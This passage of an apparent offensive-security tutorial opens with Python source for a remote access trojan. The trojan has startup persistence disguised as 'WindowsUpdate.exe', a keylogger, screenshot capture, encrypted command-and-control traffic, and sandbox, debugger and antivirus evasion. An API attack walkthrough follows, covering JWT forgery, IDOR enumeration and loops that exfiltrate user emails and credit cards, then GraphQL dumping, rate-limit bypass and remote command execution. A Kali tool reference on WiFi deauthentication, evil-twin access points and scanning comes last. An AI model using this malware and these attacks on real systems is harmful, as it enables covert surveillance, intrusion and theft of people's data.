import winreg # Windows Registry
import shutil
import sys
def install_persistence():
# Copy to AppData
try:
exe_path = sys.executable if getattr(sys, 'frozen', False) else __file__
target_path = os.path.join(os.getenv('APPDATA'), 'WindowsUpdate.exe')
if not os.path.exists(target_path):
shutil.copy(exe_path, target_path)
# Add to registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run)
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
r"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
winreg.KEY_SET_VALUE
)
winreg.SetValueEx(key, "WindowsUpdate", 0, winreg.REG_SZ, target_path)
winreg.CloseKey(key)
return True
except:
return False
def connect():
# Install persistence on first run
install_persistence()
# Rest of RAT code...
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
# RAT loop...
except:
# Reconnect every 60 seconds if connection fails
import time
time.sleep(60)
continue
# Now RAT:
# 1. Copies itself to C:\\Users\\User\\AppData\\Roaming\\WindowsUpdate.exe
# 2. Adds registry key to run on startup
# 3. Automatically reconnects if connection lost
# 4. Survives reboots!
# Install dependencies:
# pip install pynput pyautogui pillow
# Add to client.py:
from pynput import keyboard
import pyautogui
from PIL import Image
import io
import threading
# Global keylogger buffer
keylog_buffer = []
def on_key_press(key):
global keylog_buffer
try:
keylog_buffer.append(key.char)
except AttributeError:
# Special keys (space, enter, etc.)
keylog_buffer.append(f'[{key}]')
def start_keylogger():
listener = keyboard.Listener(on_press=on_key_press)
listener.start()
def capture_screenshot():
# Take screenshot
screenshot = pyautogui.screenshot()
# Convert to bytes
img_buffer = io.BytesIO()
screenshot.save(img_buffer, format='PNG')
img_data = img_buffer.getvalue()
# Base64 encode
encoded = base64.b64encode(img_data)
return b"[SCREENSHOT_START]" + encoded + b"[SCREENSHOT_END]"
def connect():
# Start keylogger in background thread
threading.Thread(target=start_keylogger, daemon=True).start()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
while True:
command = s.recv(4096).decode()
# Get keylog
if command.lower() == "getkeylog":
global keylog_buffer
output = ''.join(keylog_buffer).encode()
keylog_buffer = [] # Clear buffer
# Screenshot
elif command.lower() == "screenshot":
output = capture_screenshot()
# ... other commands ...
s.send(output)
# Server receives screenshot:
def handle_screenshot(data):
start = data.find(b"[SCREENSHOT_START]") + len(b"[SCREENSHOT_START]")
end = data.find(b"[SCREENSHOT_END]")
encoded_data = data[start:end]
decoded_data = base64.b64decode(encoded_data)
filename = f"screenshot_{int(time.time())}.png"
with open(filename, "wb") as f:
f.write(decoded_data)
print(f"[+] Screenshot saved to: {filename}")
# Add AES encryption to traffic:
# pip install pycryptodome
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import hashlib
# Shared secret key (hardcoded or derived)
SECRET_KEY = b"MySecretKey12345" # 16 bytes for AES-128
def derive_key(password):
return hashlib.sha256(password).digest()[:16]
AES_KEY = derive_key(SECRET_KEY)
def encrypt_data(data):
cipher = AES.new(AES_KEY, AES.MODE_CBC)
encrypted = cipher.encrypt(pad(data, AES.block_size))
return cipher.iv + encrypted # Prepend IV
def decrypt_data(data):
iv = data[:16]
ciphertext = data[16:]
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), AES.block_size)
# Modify send/receive:
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((SERVER_IP, SERVER_PORT))
while True:
# Receive and decrypt
encrypted_command = s.recv(4096)
command = decrypt_data(encrypted_command).decode()
# Execute command
output = execute_command(command)
# Encrypt and send
encrypted_output = encrypt_data(output)
s.send(encrypted_output)
# Now all traffic is AES encrypted!
# IDS/IPS can't read commands or exfiltrated data
# Additional evasion techniques:
# 1. Obfuscate strings:
import base64
SERVER_IP = base64.b64decode("MTkyLjE2OC4xLjEw").decode() # 192.168.1.10
SERVER_PORT = int(base64.b64decode("NDQ0NA==").decode()) # 4444
# 2. Sleep before execution (sandbox evasion):
import time
time.sleep(60) # Sleep 60s (sandboxes timeout after 30-60s)
# 3. Check for VM/debugger:
def is_vm():
# Check for VMware, VirtualBox, QEMU
try:
with open('/sys/class/dmi/id/product_name', 'r') as f:
product = f.read().lower()
if 'vmware' in product or 'virtualbox' in product:
return True
except:
pass
return False
if is_vm():
sys.exit(0) # Exit if running in VM
# 4. Anti-analysis:
import ctypes
def is_debugger_present():
return ctypes.windll.kernel32.IsDebuggerPresent() != 0
if is_debugger_present():
sys.exit(0)
# Install PyInstaller:
pip install pyinstaller
# Compile client to EXE:
pyinstaller --onefile --noconsole --icon=icon.ico client.py
# Flags:
# --onefile = Single EXE (no dependencies)
# --noconsole = No command window (GUI mode)
# --icon = Custom icon (looks legitimate)
# Output: dist/client.exe
# Advanced: Add UPX compression (smaller file size):
pyinstaller --onefile --noconsole --upx-dir=/path/to/upx client.py
# Result: ~8MB EXE with all features
# Test:
# Copy client.exe to Windows VM
# Run server.py on Kali
# Execute client.exe on Windows
# RAT connects back!
# Bypassing AV:
# 1. Code obfuscation:
pip install pyarmor
# Obfuscate source:
pyarmor obfuscate client.py
# 2. Encrypt strings with custom function:
def xor_encrypt(data, key):
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
encrypted_ip = xor_encrypt(b"192.168.1.10", b"key")
# 3. Load from memory (no disk writes):
# Use python -c "exec()" to run from command line without file
# 4. Split into multiple files:
# client_main.py - main logic
# client_utils.py - utilities
# client_config.py - configuration
# PyInstaller bundles all
# 5. Sign executable (appears legitimate):
# Use signtool.exe with code signing certificate
signtool sign /f certificate.pfx /p password /t http://timestamp.digicert.com client.exe
# Enhanced server with multiple client support:
import socket
import threading
import time
clients = [] # List of connected clients
def handle_client(client_socket, client_address):
print(f"[+] New connection from {client_address}")
clients.append({'socket': client_socket, 'address': client_address})
try:
while True:
time.sleep(0.1) # Keep connection alive
except:
clients.remove({'socket': client_socket, 'address': client_address})
print(f"[-] Connection lost from {client_address}")
def list_clients():
print("\\n[*] Connected clients:")
for idx, client in enumerate(clients):
print(f"{idx}: {client['address']}")
def interact_with_client(client_idx):
if client_idx >= len(clients):
print("[-] Invalid client index")
return
client = clients[client_idx]
print(f"[*] Interacting with {client['address']}")
while True:
command = input(f"RAT[{client['address']}]> ")
if command.lower() == "back":
break
if command.lower() == "exit":
client['socket'].send(command.encode())
client['socket'].close()
clients.remove(client)
break
# Send command
encrypted_command = encrypt_data(command.encode())
client['socket'].send(encrypted_command)
# Receive response
encrypted_output = client['socket'].recv(409600)
output = decrypt_data(encrypted_output)
print(output.decode(errors='ignore'))
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 4444))
server.listen(5)
print("[*] C2 Server started on port 4444")
print("[*] Waiting for connections...")
# Accept connections in background thread
def accept_connections():
while True:
client_socket, client_address = server.accept()
threading.Thread(
target=handle_client,
args=(client_socket, client_address),
daemon=True
).start()
threading.Thread(target=accept_connections, daemon=True).start()
# Main command loop
while True:
command = input("C2> ")
if command.lower() == "list":
list_clients()
elif command.startswith("interact "):
try:
client_idx = int(command.split()[1])
interact_with_client(client_idx)
except:
print("[-] Usage: interact ")
elif command.lower() == "exit":
break
if __name__ == "__main__":
start_server()
# Usage:
# C2> list
# [*] Connected clients:
# 0: ('192.168.1.100', 49152)
# 1: ('192.168.1.101', 49153)
#
# C2> interact 0
# [*] Interacting with ('192.168.1.100', 49152)
# RAT[('192.168.1.100', 49152)]> whoami
# DESKTOP-ABC123\\victim
# RAT[('192.168.1.100', 49152)]> screenshot
# [+] Screenshot saved to: screenshot_1704812400.png
# RAT[('192.168.1.100', 49152)]> back
#
# C2> interact 1
# ...
# Target: https://api.company.com
# Common API patterns:
# /api/v1/users
# /api/v2/products
# /rest/customers
# /graphql
# Tool 1: Discover with Burp Suite
# Configure browser proxy → Browse application
# Burp intercepts ALL API calls
# Tool 2: Discover with directory brute-forcing
gobuster dir -u https://api.company.com -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
# Common endpoints:
# /api/users
# /api/admin
# /api/login
# /api/register
# /api/profile
# /api/settings
# /api/upload
# /api/download
# Tool 3: Check for API documentation
https://api.company.com/docs
https://api.company.com/swagger
https://api.company.com/api-docs
https://api.company.com/graphql (GraphQL introspection)
# Swagger/OpenAPI = GOLDMINE
# Shows ALL endpoints, parameters, authentication methods!
# Example response:
# GET /api/v1/users → List all users
# GET /api/v1/users/{id} → Get specific user
# POST /api/v1/users → Create new user
# PUT /api/v1/users/{id} → Update user
# DELETE /api/v1/users/{id} → Delete user
# Test endpoint:
curl https://api.company.com/api/v1/users
# Response:
# {"error": "Authentication required"}
# Authentication methods discovered:
# 1. JWT tokens (Header: Authorization: Bearer TOKEN)
# 2. API keys (Header: X-API-Key: KEY)
# 3. Basic Auth (Header: Authorization: Basic BASE64)
# 4. Session cookies
# Register normal user:
curl -X POST https://api.company.com/api/v1/register \\
-H "Content-Type: application/json" \\
-d '{"username":"attacker","email":"attacker@evil.com","password":"Password123"}'
# Response:
# {"message": "User created", "user_id": 1337}
# Login:
curl -X POST https://api.company.com/api/v1/login \\
-H "Content-Type: application/json" \\
-d '{"username":"attacker","password":"Password123"}'
# Response:
# {
# "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDgxMjQwMH0.abc123",
# "user": {"id": 1337, "username": "attacker", "role": "user"}
# }
# JWT Token structure:
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 ← Header (algorithm: HS256)
# .eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoidXNlciIsImV4cCI6MTcwNDgxMjQwMH0 ← Payload (user_id: 1337, role: user)
# .abc123 ← Signature
# Decode JWT at: https://jwt.io
# Decoded header:
# {"alg": "HS256", "typ": "JWT"}
# Decoded payload:
# {"user_id": 1337, "role": "user", "exp": 1704812400}
# Attack 1: Algorithm confusion (alg: none)
# Change header: {"alg": "none", "typ": "JWT"}
# Remove signature
# Encode: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MDQ4MTI0MDB9.
# Test:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMzM3LCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MDQ4MTI0MDB9." \\
https://api.company.com/api/v1/admin/users
# If accepted = admin access!
# Attack 2: Weak secret brute-forcing
# Tool: jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Crack secret:
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt
# If secret found (e.g., "secret123"):
# Forge new token with role: admin
python3 jwt_tool.py TOKEN -I -pc role -pv admin -S hs256 -p secret123
# Attack 3: Key confusion (RS256 → HS256)
# If server uses RS256 (asymmetric):
# - Public key verifies signature
# - Private key creates signature
# Confusion attack:
# Change alg to HS256 (symmetric)
# Sign with public key (treating it as secret)
# Server verifies with public key → accepts!
# Tool: jwt_tool
python3 jwt_tool.py TOKEN -X k -pk public.pem
# Access your own profile:
curl -H "Authorization: Bearer TOKEN" \\
https://api.company.com/api/v1/users/1337
# Response:
# {
# "id": 1337,
# "username": "attacker",
# "email": "attacker@evil.com",
# "role": "user",
# "credit_card": "XXXX-XXXX-XXXX-1234"
# }
# Try accessing other users (IDOR test):
curl -H "Authorization: Bearer TOKEN" \\
https://api.company.com/api/v1/users/1
# Response:
# {
# "id": 1,
# "username": "admin",
# "email": "admin@company.com",
# "role": "admin",
# "credit_card": "4532-1234-5678-9012" ← IDOR vulnerability!
# }
# Enumerate all users:
for i in {1..1000}; do
curl -s -H "Authorization: Bearer TOKEN" \\
https://api.company.com/api/v1/users/$i | jq .
done
# Automated IDOR testing tool:
# Tool: Autorize (Burp Suite extension)
# 1. Install Autorize from BApp Store
# 2. Configure low-priv token
# 3. Browse as admin
# 4. Autorize replays requests with low-priv token
# 5. Highlights authorization bypass!
# Mass data exfiltration:
# Extract all user data to file
for i in {1..10000}; do
curl -s -H "Authorization: Bearer TOKEN" \\
https://api.company.com/api/v1/users/$i >> users_data.json
done
# Parse sensitive data:
cat users_data.json | jq -r '.email, .credit_card' | grep -v null > leaked_data.txt
# Result: 10,000 user emails + credit cards exfiltrated!
# GraphQL = Query language for APIs
# Endpoint: https://api.company.com/graphql
# Introspection query (enumerate schema):
curl -X POST https://api.company.com/graphql \\
-H "Content-Type: application/json" \\
-d '{"query":"{ __schema { types { name } } }"}'
# Response shows all types:
# User, Product, Order, Admin, Secret
# Get full schema:
curl -X POST https://api.company.com/graphql \\
-H "Content-Type: application/json" \\
-d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } type { name kind ofType { name } } } } } }"}'
# Tool: GraphQL Voyager (visualize schema)
# https://graphql-kit.com/graphql-voyager/
# Query all users:
curl -X POST https://api.company.com/graphql \\
-H "Content-Type: application/json" \\
-H "Authorization: Bearer TOKEN" \\
-d '{
"query": "{ users { id username email role secretApiKey } }"
}'
# Response:
# {
# "data": {
# "users": [
# {"id": 1, "username": "admin", "email": "admin@company.com", "role": "admin", "secretApiKey": "sk_live_abc123"},
# {"id": 1337, "username": "attacker", "email": "attacker@evil.com", "role": "user", "secretApiKey": "sk_live_xyz789"}
# ]
# }
# }
# Leaked: Admin API key!
# GraphQL batching attack (bypass rate limiting):
curl -X POST https://api.company.com/graphql \\
-H "Content-Type: application/json" \\
-d '[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"},
... (repeat 1000 times)
]'
# Single request = 1000 queries!
# Bypasses rate limiting (only 1 HTTP request)
# GraphQL injection:
# Query with variable:
curl -X POST https://api.company.com/graphql \\
-d '{
"query": "query($id: Int!) { user(id: $id) { username } }",
"variables": {"id": "1 OR 1=1"}
}'
# If vulnerable to SQLi → all users dumped!
# APIs often have rate limits:
# "429 Too Many Requests" after X requests
# Bypass techniques:
# 1. Change IP (use proxies/VPN)
curl -x http://proxy1.com:8080 https://api.company.com/api/v1/users/1
curl -x http://proxy2.com:8080 https://api.company.com/api/v1/users/2
# 2. Rotate User-Agent
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://api.company.com/api/v1/users/1
curl -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)" https://api.company.com/api/v1/users/2
# 3. Use different authentication tokens
# Create multiple accounts → rotate tokens
# 4. Change request format
# If rate limit on /api/v1/users/1
# Try: /api/v1/users/1.json
# Try: /api/v1/users/1?format=json
# Try: /api/v2/users/1
# 5. Add trailing slash
# /api/v1/users/1 (rate limited)
# /api/v1/users/1/ (not rate limited!)
# 6. Change HTTP method
# GET /api/v1/users/1 (rate limited)
# POST /api/v1/users/1 (not rate limited!)
# 7. Add random parameters
# /api/v1/users/1?cachebuster=123
# /api/v1/users/1?cachebuster=456
# 8. GraphQL batching (see previous section)
# Automated tool:
# ffuf with wordlist of techniques
ffuf -w rate_limit_bypass.txt -u https://api.company.com/api/v1/users/FUZZ -H "Authorization: Bearer TOKEN"
# With admin JWT token forged:
# List all sensitive endpoints:
curl -H "Authorization: Bearer ADMIN_TOKEN" \\
https://api.company.com/api/v1/admin/settings
# Response:
# {
# "database_url": "postgresql://admin:SuperSecret123@db.company.internal:5432/production",
# "aws_access_key": "AKIAIOSFODNN7EXAMPLE",
# "aws_secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "stripe_secret_key": "sk_live_51abc123...",
# "admin_panel_url": "https://internal-admin.company.com"
# }
# Credentials extracted!
# Access internal admin panel:
curl -H "Authorization: Bearer ADMIN_TOKEN" \\
https://internal-admin.company.com
# Execute commands via API:
curl -X POST https://api.company.com/api/v1/admin/execute \\
-H "Authorization: Bearer ADMIN_TOKEN" \\
-H "Content-Type: application/json" \\
-d '{"command": "cat /etc/passwd"}'
# RCE achieved!
# Pivot to database:
psql postgresql://admin:SuperSecret123@db.company.internal:5432/production
# Dump all tables:
pg_dump -h db.company.internal -U admin production > database_dump.sql
# Complete compromise!
Section 12: Ultimate Kali Tools Reference (Every Flag Explained for BEGINNERS)
A-Tools: Essential Tools Starting with A
Aircrack-ng Suite (Wireless Network Auditing)
What is it? Complete suite for wireless security testing. Includes tools for packet capture, WEP/WPA/WPA2 cracking, fake access point creation, and deauthentication attacks.
airmon-ng: Monitor Mode Management
# Check wireless interfaces:
airmon-ng
# Shows all wireless adapters
# Output: Interface (wlan0), Driver (rtl8xxxu), Chipset (Realtek)
# Start monitor mode:
airmon-ng start wlan0
# Creates wlan0mon interface in monitor mode
# Monitor mode = capture ALL wireless packets (not just your network)
# Normal mode = only packets destined for your device
# Check for interfering processes:
airmon-ng check
# Lists processes that might interfere (NetworkManager, wpa_supplicant)
# Kill interfering processes:
airmon-ng check kill
# Stops NetworkManager and other processes
# WARNING: This disconnects you from WiFi!
# Stop monitor mode:
airmon-ng stop wlan0mon
# Returns to normal managed mode
# BEGINNER EXPLANATION:
# "Monitor mode" = your WiFi card listens to ALL wireless traffic
# Like putting your WiFi card in "promiscuous mode"
# Needed for: packet sniffing, deauth attacks, cracking WiFi
airodump-ng: Wireless Packet Capture
# Scan all nearby WiFi networks:
airodump-ng wlan0mon
# Shows: BSSID (MAC address), PWR (signal strength), CH (channel), ENC (encryption)
# Press Ctrl+C to stop
# FLAGS EXPLAINED FOR BEGINNERS:
# --bssid AA:BB:CC:DD:EE:FF ← Target specific access point (by MAC address)
# --channel 6 ← Only listen on channel 6 (faster, less noise)
# --write capture ← Save packets to file "capture-01.cap"
# --essid "MyWiFi" ← Filter by network name
# --manufacturer ← Show device manufacturer
# -w capture ← Short form of --write
# Target specific network and capture handshake:
airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write wpa_handshake wlan0mon
# --bssid: MAC address of router (from initial scan)
# --channel: Wireless channel (1-14 on 2.4GHz, 36-165 on 5GHz)
# --write: Output filename (creates wpa_handshake-01.cap, wpa_handshake-01.csv, etc.)
# wlan0mon: Your monitor mode interface
# What's a "handshake"?
# When device connects to WiFi, router and device exchange 4-way handshake
# Contains encrypted password verification
# We capture this, then crack it offline with aircrack-ng
# Output columns explained:
# BSSID: Router MAC address (unique identifier)
# PWR: Signal power in dBm (-30 = excellent, -80 = weak)
# RXQ: Receive quality percentage
# Beacons: Announcement packets sent by router
# #Data: Number of captured data packets (MORE = BETTER for cracking!)
# CH: Wireless channel
# MB: Maximum speed (54 = 802.11g, 300 = 802.11n)
# ENC: Encryption type (WEP, WPA, WPA2, WPA3, OPN = open)
# CIPHER: Encryption cipher (TKIP, CCMP, GCMP)
# AUTH: Authentication method (PSK = pre-shared key, MGT = enterprise)
# ESSID: Network name
# Advanced: Capture on multiple channels
airodump-ng --channel 1,6,11 -w capture wlan0mon
# Hops between channels 1, 6, and 11 (most common 2.4GHz channels)
aireplay-ng: Injection and Deauthentication
# Deauthentication attack (kick client off WiFi):
aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# FLAGS EXPLAINED FOR COMPLETE BEGINNERS:
# --deauth 10 ← Send 10 deauth packets (0 = infinite)
# -a 00:11:22:33:44:55 ← Access Point MAC (router BSSID)
# -c AA:BB:CC:DD:EE:FF ← Client MAC (device to kick off)
# wlan0mon ← Your monitor mode interface
# WHY use deauth?
# 1. Capture WPA handshake (client reconnects = handshake captured)
# 2. Denial of service (keep kicking devices off WiFi)
# 3. Force clients to connect to YOUR fake AP (evil twin attack)
# Deauth ALL clients on network:
aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon
# No -c flag = kick EVERYONE
# Fake authentication (for WEP):
aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
# --fakeauth 0 ← Fake authentication attempt (0 = once)
# -a: Target AP
# -h: Your MAC address (from wlan0mon)
# ARP replay attack (generate traffic for WEP cracking):
aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
# --arpreplay ← Capture ARP packet and replay it
# Generates LOTS of data packets (needed for WEP cracking!)
# WEP needs 40,000+ packets to crack
# Check injection capability:
aireplay-ng --test wlan0mon
# Tests if your card can inject packets
# Must see "Injection is working!" for attacks to work
aircrack-ng: Password Cracking
# Crack WPA/WPA2 handshake:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55 wpa_handshake-01.cap
# FLAGS EXPLAINED FOR BEGINNERS:
# -w /path/to/wordlist.txt ← Wordlist file (dictionary attack)
# -b 00:11:22:33:44:55 ← Target BSSID (router MAC)
# wpa_handshake-01.cap ← Capture file from airodump-ng
# How it works:
# 1. Reads password from wordlist
# 2. Derives encryption key (PBKDF2 with SSID as salt)
# 3. Tries to decrypt handshake
# 4. If successful = password found!
# Output when found:
# KEY FOUND! [ Password123 ]
# Master Key: AA BB CC DD ...
# Transient Key: 11 22 33 44 ...
# Crack WEP:
aircrack-ng -b 00:11:22:33:44:55 wep_capture-01.cap
# No wordlist needed! WEP is mathematically broken
# Needs 40,000+ packets (more = faster crack)
# Advanced: Use multiple CPU cores
aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture.cap -p 4
# -p 4 ← Use 4 CPU cores (parallel processing)
# Advanced: Specify encryption type
aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 -a 2 capture.cap
# -a 2 ← WPA/WPA2 mode
# -a 1 ← WEP mode
# Show verbose output:
aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture.cap -l output.txt
# -l output.txt ← Save cracked key to file
# BEGINNER TIP:
# WPA/WPA2 cracking is SLOW (hundreds of keys per second)
# Use GPU cracking (hashcat) for faster results (millions/sec!)
# See: hashcat -m 22000 -a 0 handshake.hc22000 wordlist.txt
airbase-ng: Create Fake Access Point (Evil Twin)
# Create fake WiFi network:
airbase-ng -e "FreePublicWiFi" -c 6 wlan0mon
# FLAGS EXPLAINED:
# -e "FreePublicWiFi" ← ESSID (network name)
# -c 6 ← Channel (match target network channel)
# wlan0mon ← Monitor mode interface
# WHY create fake AP?
# 1. Evil twin attack (clone legitimate network, steal credentials)
# 2. Captive portal (phishing page on fake WiFi)
# 3. MITM attack (route traffic through your system)
# Clone existing network (Evil Twin):
airbase-ng -a 00:11:22:33:44:55 -e "Starbucks_WiFi" -c 6 wlan0mon
# -a 00:11:22:33:44:55 ← Spoof MAC address (match real AP)
# Clients might auto-connect thinking it's real network!
# WPA2 fake AP:
airbase-ng -e "MyWiFi" -c 6 -Z 4 wlan0mon
# -Z 4 ← WPA2 encryption (requires hostapd for full functionality)
# Advanced: Respond to probes
airbase-ng -P -C 30 wlan0mon
# -P ← Respond to all probe requests
# -C 30 ← Beacon interval (seconds)
# Creates AP for ANY network clients search for!
Amass (Advanced Subdomain Enumeration)
What is it? OWASP Amass is the BEST subdomain discovery tool. Uses DNS brute-forcing, web scraping, certificate transparency logs, APIs (80+ data sources!), and recursive enumeration. Essential for reconnaissance phase!
# Basic subdomain enumeration:
amass enum -d example.com
# FLAGS EXPLAINED FOR BEGINNERS:
# enum ← Enumeration mode (find subdomains)
# -d example.com ← Target domain
# What does it find?
# - www.example.com
# - mail.example.com
# - dev.example.com
# - admin.example.com
# - test.example.com
# ... and MORE!
# Passive mode (only open-source intelligence, no DNS queries):
amass enum -passive -d example.com
# -passive ← No active scanning (stealthy!)
# Uses: Certificate Transparency, web scraping, APIs
# Won't show up in target's DNS logs!
# Active mode (includes brute-forcing):
amass enum -active -d example.com
# -active ← Active DNS enumeration + port scanning
# Sends DNS queries directly to target
# LOUDER (target might notice!)
# Use all data sources:
amass enum -d example.com -src
# -src ← Show data source for each subdomain
# Example output:
# [CertSpotter] → dev.example.com
# [VirusTotal] → admin.example.com
# Brute-force with wordlist:
amass enum -d example.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# -brute ← Enable brute-forcing
# -w /path/to/wordlist ← Custom wordlist
# Tries: admin.example.com, test.example.com, dev.example.com, etc.
# Resolve IP addresses:
amass enum -d example.com -ip
# -ip ← Show IP addresses for subdomains
# Output: dev.example.com [192.168.1.100]
# Save output to file:
amass enum -d example.com -o subdomains.txt
# -o subdomains.txt ← Output file
# JSON output (for parsing):
amass enum -d example.com -json subdomains.json
# -json ← JSON format output
# Increase timeout:
amass enum -d example.com -timeout 5
# -timeout 5 ← DNS timeout in minutes (default: 3)
# Higher timeout = more complete results
# Maximum DNS queries per second:
amass enum -d example.com -max-dns-queries 200
# -max-dns-queries 200 ← Rate limiting
# Lower = stealthier, Higher = faster
# Use specific DNS resolvers:
amass enum -d example.com -r 8.8.8.8,1.1.1.1
# -r 8.8.8.8,1.1.1.1 ← Custom DNS servers
# Bypass corporate DNS filtering!
# Multiple domains:
amass enum -df domains.txt
# -df domains.txt ← File with list of domains
# Enumerate all at once!
# ADVANCED: Full reconnaissance with ASN tracking
amass intel -d example.com
# intel ← Intelligence gathering mode
# Finds: Related domains, ASNs, IP ranges, WHOIS data
# ADVANCED: Network mapping
amass enum -d example.com -nf network.txt -rf resolved.txt
# -nf network.txt ← Network data output
# -rf resolved.txt ← Resolved domains output
Nmap (Network Mapper - THE Ultimate Port Scanner)
What is it? Nmap is THE standard network scanning tool. It discovers hosts, open ports, services, operating systems, and vulnerabilities. Every penetration tester uses Nmap daily! Massively powerful with 100+ options.
Basic Scanning - Understanding the Fundamentals
# Simplest scan (TCP SYN scan on 1000 most common ports):
nmap 192.168.1.1
# FLAGS EXPLAINED FOR COMPLETE BEGINNERS:
# No flags = default behavior:
# - TCP SYN scan (-sS) on 1000 common ports
# - Reverse DNS resolution
# - No OS/version detection
# Output shows:
# PORT STATE SERVICE
# 22/tcp open ssh
# 80/tcp open http
# 443/tcp open https
# Scan multiple targets:
nmap 192.168.1.1 192.168.1.2 192.168.1.3
nmap 192.168.1.1-10 # Range: .1 through .10
nmap 192.168.1.0/24 # Entire subnet (256 hosts)
nmap 192.168.1.* 192.168.2.* # Wildcard
# Scan from file:
nmap -iL targets.txt
# -iL targets.txt ← Input list (one IP/hostname per line)
# Exclude targets:
nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.254
# --exclude ← Skip these hosts (router, critical servers)
Scan Types - How Nmap Probes Ports
# TCP SYN Scan (stealth scan, default with root):
nmap -sS 192.168.1.1
# -sS ← SYN scan (half-open scan)
# How it works:
# 1. Send SYN packet
# 2. If SYN/ACK received → port OPEN
# 3. If RST received → port CLOSED
# 4. If no response → port FILTERED
# Doesn't complete TCP handshake = "stealth"
# Requires root/admin privileges
# Fast and efficient!
# TCP Connect Scan (full 3-way handshake):
nmap -sT 192.168.1.1
# -sT ← TCP connect scan
# How it works:
# 1. Complete full TCP 3-way handshake
# 2. OS establishes full connection
# Used when: No root privileges OR raw packet access unavailable
# Slower than SYN scan
# Shows in target's connection logs!
# UDP Scan:
nmap -sU 192.168.1.1
# -sU ← UDP scan
# Finds: DNS (53), SNMP (161), DHCP (67/68), NTP (123)
# SLOW! (timeouts for closed ports)
# Combine with TCP: nmap -sS -sU 192.168.1.1
# NULL/FIN/Xmas Scans (evade simple firewalls):
nmap -sN 192.168.1.1 # NULL scan (no flags set)
nmap -sF 192.168.1.1 # FIN scan (FIN flag set)
nmap -sX 192.168.1.1 # Xmas scan (FIN, PSH, URG flags set)
# How they work:
# - Send packet with unusual flags
# - Closed port responds with RST
# - Open port does NOT respond (stealthy!)
# Evades: Stateless firewalls
# Doesn't work: Windows (responds to all packets)
# ACK Scan (firewall rule mapping):
nmap -sA 192.168.1.1
# -sA ← ACK scan
# Purpose: Map firewall rules (not find open ports!)
# Response:
# - RST = port UNFILTERED (firewall allows)
# - No response = port FILTERED (firewall blocks)
# Useful for: Understanding firewall behavior
# Window Scan (distinguish open from closed):
nmap -sW 192.168.1.1
# -sW ← Window scan
# Examines TCP window size in RST packet
# Some systems: Different window for open vs closed
# SCTP INIT Scan (for SCTP services):
nmap -sY 192.168.1.1
# -sY ← SCTP INIT scan
# For: Stream Control Transmission Protocol (VoIP, SS7)
Port Specification - Choose What to Scan
# Scan specific ports:
nmap -p 22 192.168.1.1 # Single port (SSH)
nmap -p 22,80,443 192.168.1.1 # Multiple ports
nmap -p 1-1000 192.168.1.1 # Port range
nmap -p- 192.168.1.1 # ALL 65535 ports (SLOW!)
# FLAGS EXPLAINED:
# -p
← Port specification
# Default: Scans 1000 most common ports
# -p- = scan ALL ports (1-65535)
# Scan by protocol:
nmap -p U:53,T:21-25,80 192.168.1.1
# U:53 ← UDP port 53 (DNS)
# T:21-25 ← TCP ports 21-25 (FTP, SSH, Telnet, SMTP)
# T:80 ← TCP port 80 (HTTP)
# Fast scan (100 most common ports):
nmap -F 192.168.1.1
# -F ← Fast mode
# Scans only 100 ports (vs default 1000)
# Much faster!
# Top ports:
nmap --top-ports 20 192.168.1.1
# --top-ports 20 ← Scan 20 most common ports
# Useful for: Quick reconnaissance
# Scan ports by name:
nmap -p http,https,ssh 192.168.1.1
# Scans ports: 80, 443, 22
# Consecutive ports:
nmap -p 1-100,443,8000-9000 192.168.1.1
# Scans: 1-100, 443, 8000-9000
# Exclude ports:
nmap -p 1-1000 --exclude-ports 135,139,445 192.168.1.1
# --exclude-ports ← Skip these ports
Service/Version Detection - Identify Running Services
# Version detection:
nmap -sV 192.168.1.1
# -sV ← Service/version detection
# Probes open ports to determine:
